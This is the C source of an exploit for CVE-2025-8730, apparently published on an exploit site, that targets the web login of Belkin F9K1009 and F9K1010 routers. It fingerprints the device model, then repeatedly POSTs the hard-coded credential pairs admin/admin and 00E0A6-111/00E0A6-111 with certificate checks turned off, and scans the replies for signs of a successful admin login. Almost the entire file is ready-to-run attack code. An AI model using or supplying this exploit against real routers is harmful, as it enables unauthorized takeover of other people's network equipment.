/* * Title : Belkin F9K1009 F9K1010 2.00.04/2.00.09 - Hard Coded Credentials * Author : Byte Reaper * CVE : CVE-2025-8730 * Description : Exploit demonstrating an authentication bypass vulnerability * in the web interface of Belkin F9K1009 and F9K1010 routers. The flaw resides * in improper session validation logic, allowing remote attackers to gain * unauthorized access to the administrative panel without supplying valid credentials. */ #include #include #include #include "argparse.h" #include #include #include #define FULL 2000 #define LOGIN_POST 1500 const char *nameFileC = NULL; int verbose = 0; const char *router = NULL; const char *cookies = NULL; int uC = 0; const char *fullurl = NULL; int sleepS = 0; int count = 0; void exitSyscall() { __asm__ volatile ( "mov $0x3C, %%rax\n\t" "xor %%rdi, %%rdi\n\t" "syscall\n\t" : : :"rax", "rdi" ); } int checkLen(int len, char *buf, size_t bufcap) { if (len < 0 || (size_t)len >= bufcap) { printf("\e[0;31m[-] Len is Long ! \e[0m\n"); printf("\e[0;31m[-] Len %d\e[0m\n", len); exitSyscall(); return 1; } else { printf("\e[0;34m[+] Len Is Not Long (%d).\e[0m\n",len); return 0; } return 0; } struct Mem { char *buffer; size_t len; }; size_t write_cb(void *ptr, size_t size, size_t nmemb, void *userdata) { size_t total = size * nmemb; struct Mem *m = (struct Mem *)userdata; char *tmp = realloc(m->buffer, m->len + total + 1); if (tmp == NULL) { fprintf(stderr, "\e[1;31m[-] Failed to allocate memory!\e[0m\n"); exitSyscall(); } m->buffer = tmp; memcpy(&(m->buffer[m->len]), ptr, total); m->len += total; m->buffer[m->len] = '\0'; return total; } const char *wordLogin[] = { "login_success", "Welcome", "Dashboard", "admin panel", "Set-Cookie", "Authorization", "token", "sessionid", "redirect", "access granted", "authenticated", "user authenticated", "login ok", "login complete", "login status=success", "login=1", "auth=1", "valid credentials", "home.htm", "main.htm", "index.htm", "config.htm", "firmware.htm", "admin.htm", NULL }; void sleepTime(int sec) { if (sec <= 0) { fprintf(stderr, "\e[0;31m[-] Value seconds must be > 0 !\e[0m\n"); exitSyscall(); } struct timespec req, rem; req.tv_sec = (time_t)sec; req.tv_nsec = 0; printf("\e[0;33m[+] Sleeping for %d seconds...\e[0m\n", sec); while (nanosleep(&req, &rem) == -1) { if (errno == EINTR) { req = rem; continue; } perror("\e[0;31m[-] Nanosleep failed !\e[0m"); exitSyscall(); } printf("\e[0;34m[+] Sleep successful.\e[0m\n"); } void detectDeviceType(const char *routerIp) { printf("\n=================================== [type Device] ===================================\e[0m\n"); CURL *curl = curl_easy_init(); if (!curl) exitSyscall(); struct Mem response = { NULL, 0 }; char full[FULL]; int len = snprintf(full, sizeof(full), "http://%s", routerIp); if (checkLen(len, full, sizeof(full))) { exitSyscall(); } curl_easy_setopt(curl, CURLOPT_URL, full); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_TIMEOUT, 5L); CURLcode res = curl_easy_perform(curl); if (res != CURLE_OK) { fprintf(stderr, "\e[0;31m[-] curl error: %s\n", curl_easy_strerror(res)); } if (response.buffer) { if (strstr(response.buffer, "F9K1009")) { printf("\e[0;36m[+] Device: Belkin F9K1009\e[0m\n"); } else if (strstr(response.buffer, "F9K1010")) { printf("\e[0;36m[+] Device: Belkin F9K1010\e[0m\n"); } else { printf("\e[0;31m[-] Unknown device type\e[0m\n"); free(response.buffer); } } else { printf("\e[0;31m[-] Response Is NULL !\n"); }; response.buffer= NULL; response.len = 0; curl_easy_cleanup(curl); printf("=====================================================================================\n"); } void credentialsRequest(const char *routerIp) { CURL *curl = curl_easy_init(); if (curl == NULL) { printf("\e[0;31m[-] Error Create Object CURL !\e[0m\n"); exitSyscall(); } CURLcode res; char full[FULL]; int nL = 2; struct Mem response; response.buffer= NULL; response.len = 0; for (int l = 0; l <= nL; l++) { if (curl) { char full[FULL]; char post[LOGIN_POST]; if (fullurl != NULL ) { int lenFull = snprintf(full, sizeof(full), "%s", fullurl); if (checkLen(lenFull,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\n",lenFull); exitSyscall(); } printf("[+] Create FULL URL Successfully.\e[0m\n"); printf("[+] Default Port Request : %d\e[0m\n", 80); printf("[+] FULL URL : %s\n", full); } else { int lenI = snprintf(full, sizeof(full), "http://%s/login.htm", routerIp); if (checkLen(lenI,full, sizeof(full)) == 1) { printf("\e[0;31m[-] Len FUll URL (Router IP) Is Long !\e[0m\n"); printf("\e[0;31m[-] Len : %d\e[0m\n",lenI); exitSyscall(); } else { printf("\e[1;34m[+] Create FULL URL Successfully.\e[0m\n"); printf("\e[1;34m[+] Target IP %s\e[0m\n", routerIp); printf("\e[1;34m[+] Default Port Request : %d\e[0m\n", 80); printf("\e[1;34m[+] FULL URL : %s\e[0m\n", full); } } if (l < 2) { //login admin int vA = snprintf(post, sizeof(post), "login_username=admin&login_password=admin"); if (checkLen(vA, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\e[0m\n", vA); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (admin) : \e[0m\n", l); printf("\n%s\n", post); } else { //login 00E0A6-111 int vE = snprintf(post, sizeof(post), "login_usernam=00E0A6-111&login_password=00E0A6-111"); if (checkLen(vE, post, sizeof(post)) == 1) { printf("\e[0;31m[-] Error Write POST DATA !\e[0m\n"); printf("\e[0;31m[-] Len (data): %d\n", vE); exitSyscall(); } printf("\e[0;36m[+] Write Successfully POST DATA .\e[0m\n"); printf("\e[0;36m[%d] Result POST DATA (00E0A6-111) : \e[0m\n", l); printf("\n%s\n", post); } curl_easy_setopt(curl, CURLOPT_URL, full); if (uC) { curl_easy_setopt(curl, CURLOPT_COOKIEFILE, cookies); curl_easy_setopt(curl, CURLOPT_COOKIEJAR, cookies); } curl_easy_setopt(curl, CURLOPT_POST, 1L); curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post); curl_easy_setopt(curl, CURLOPT_POSTFIELDSIZE, (long)strlen(post)); curl_easy_setopt(curl, CURLOPT_ACCEPT_ENCODING, ""); curl_easy_setopt(curl, CURLOPT_FOLLOWLOCATION, 1L); curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_cb); curl_easy_setopt(curl, CURLOPT_WRITEDATA, &response); curl_easy_setopt(curl, CURLOPT_CONNECTTIMEOUT, 5L); if (sleepS) { sleepTime(sleepS); } curl_easy_setopt(curl, CURLOPT_TIMEOUT, 10L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYPEER, 0L); curl_easy_setopt(curl, CURLOPT_SSL_VERIFYHOST, 0L); if (verbose) { printf("\e[1;35m------------------------------------------[Verbose Curl]------------------------------------------\e[0m\n"); curl_easy_setopt(curl, CURLOPT_VERBOSE, 1L); } struct curl_slist *headers = NULL; headers = curl_slist_append(headers, "User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:50.0)"); headers = curl_slist_append(headers, "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8"); headers = curl_slist_append(headers, "Accept-Encoding: gzip, deflate, br"); headers = curl_slist_append(headers, "Accept-Language: en-US,en;q=0.5"); headers = curl_slist_append(headers, "Connection: keep-alive"); headers = curl_slist_append(headers, "Content-Type: application/json"); headers = curl_slist_append(headers, "Cache-Control: max-age=0"); curl_easy_setopt(curl, CURLOPT_HTTPHEADER, headers); res = curl_easy_perform(curl); curl_slist_free_all(headers); if (res == CURLE_OK) { long httpCode = 0; long totalR; double timeredirect; char *redirectUrl = NULL; printf("\e[0;36m[+] Request sent successfully\e[0m\n"); if (response.len == 0) { printf("\e[0;31m[-] Response Len Zero !\e[0m\n"); } curl_easy_getinfo(curl, CURLINFO_RESPONSE_CODE, &httpCode); printf("\e[0;32m[+] Http Code : %ld\e[0m\n", httpCode); curl_easy_getinfo(curl, CURLINFO_REDIRECT_COUNT, &totalR); curl_easy_getinfo(curl, CURLINFO_REDIRECT_TIME, &timeredirect); curl_easy_getinfo(curl, CURLINFO_REDIRECT_URL, &redirectUrl); printf("\e[0;35m[+] REDIRECT : ========================\e[0m\n"); printf("\e[0;34m[+] Time REDIRECT: %.1f\e[0m\n", timeredirect); printf("\e[0;34m[+] Total REDIRECT %ld\e[0m\n", totalR); printf("\e[0;34m[+] REDIRECT to : %s\e[0m\n", redirectUrl); printf("\e[0;35m=======================================\e[0m\n"); if (httpCode >= 200 && httpCode < 300) { if (response.buffer) { for (int r = 0; wordLogin[r] != NULL; r++) { if (strstr(response.buffer, wordLogin[r]) != NULL) { printf("\e[0;34m[+] Word Found : %s\n", wordLogin[r]); printf("\e[0;35m============================================= [RESPONSE] =============================================\e[0m\n"); printf("\n%s\n",response.buffer); printf("\e[0;35m ======================================================================================================\e[0m\n"); } if (verbose) { printf("\e[0;31m[-] Word Not Found : %s\e[0m\n",wordLogin[r]); } } } else { printf("\e[0;31m[-] Response Buffer Is NULL !\e[0m\n"); printf("\e[0;31m[-] Possible Waf \e[0m\n"); } } else { printf("\e[0;31m[-] http Code Not Range (%ld)\e[0m\n", httpCode); } } else { printf("\e[0;31m[-] The request was not sent !\e[0m\n"); printf("\e[0;31m[-] Error : %s\e[0m\n", curl_easy_strerror(res)); exitSyscall(); } } } curl_easy_cleanup(curl); if (response.buffer) { free(response.buffer); response.buffer = NULL; response.len = 0; } } int main(int argc, const char **argv) { printf("+-----------------------------------------------------------+\n"); printf("| Author : [ Byte Reaper ] |\n"); printf("| CVE : [ CVE-2025-8730 ] |\n"); printf("| Type Vuln : [ hard-coded credentials ] |\n"); printf("| Exploit publishing : [ 08/08/2025 ] |\n"); printf("| Target Service : [ Belkin F9K1009/F9K1010 ] |\n"); printf("+-----------------------------------------------------------+\n"); printf("\e[0;31m--------------------------------------------------------------------------------------------------------------------\e[0m\n"); curl_global_init(CURL_GLOBAL_DEFAULT); struct argparse_option options[] = { OPT_STRING('f', "full", &fullurl, "FULL url FORMAT (Login File)"), OPT_HELP(), OPT_STRING('i', "ip", &router, "Router Ip (12.12.12.12)"), OPT_STRING('c', "cookies", &nameFileC, "Enter File cookies"), OPT_BOOLEAN('v', "verbose", &verbose, "Verbose Mode"), OPT_INTEGER('s', "sleep", &sleepS, "Sleep Request"), OPT_INTEGER('k', "count", &count, "Number For Loop Request (-k 8 (8 Request))"), OPT_END(), }; struct argparse argparse; argparse_init(&argparse, options, NULL, 0); argparse_parse(&argparse, argc, argv); if (router == NULL && fullurl == NULL) { printf("\e[0;31m[-] Please Enter target Router IP !\e[0m\n"); printf("\e[0;31m[-] Example : ./CVE-2025-8730 -i \e[0m\n"); exitSyscall(); } if (nameFileC) { uC = 1; } if (verbose) { verbose = 1; } if (fullurl) { credentialsRequest(NULL); } if (sleepS) { sleepTime(sleepS); } if (count) { for (int j = 0; j <= count; j++) { if (fullurl) { credentialsRequest(fullurl); } if (router) { credentialsRequest(router); } } } detectDeviceType(router); credentialsRequest(router); curl_global_cleanup(); return 0; }